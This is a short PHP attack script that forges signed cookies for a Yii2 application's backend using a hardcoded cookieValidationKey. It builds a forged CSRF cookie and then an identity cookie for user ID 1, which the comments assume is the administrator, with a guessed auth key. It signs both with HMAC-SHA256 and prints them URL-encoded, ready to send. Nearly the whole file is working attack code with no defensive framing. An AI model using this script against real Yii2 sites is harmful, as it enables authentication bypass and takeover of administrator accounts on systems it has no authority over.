<?php
// Yii2 Cookie Forging with known cookieValidationKey

$key = 'pjZl9KWdjpwwLH4fWAJ4FecTSSpZe7J5'; // Backend key
$cookieName = '_csrf-backend';

// Create cookie data - format: [cookieName, value]
$data = serialize([$cookieName, 'FORGED_CSRF_TOKEN_123']);

// Sign it with HMAC-SHA256
$hash = hash_hmac('sha256', $data, $key, false);

// Final cookie value
$cookie = $hash . $data;

echo "Cookie Name: $cookieName\n";
echo "Cookie Value (URL encoded): " . urlencode($cookie) . "\n\n";

// Now try identity cookie - this is more interesting
$identityCookieName = '_identity-backend';

// Identity cookie format in Yii2: [userId, authKey, duration]
// We need valid userId and authKey from database
// Let's try userId=1 (usually admin) with guessed authKey
$identityData = serialize([$identityCookieName, json_encode([1, 'test_auth_key', 3600*24*30])]);
$identityHash = hash_hmac('sha256', $identityData, $key, false);
$identityCookie = $identityHash . $identityData;

echo "Identity Cookie Name: $identityCookieName\n";
echo "Identity Cookie Value (URL encoded): " . urlencode($identityCookie) . "\n";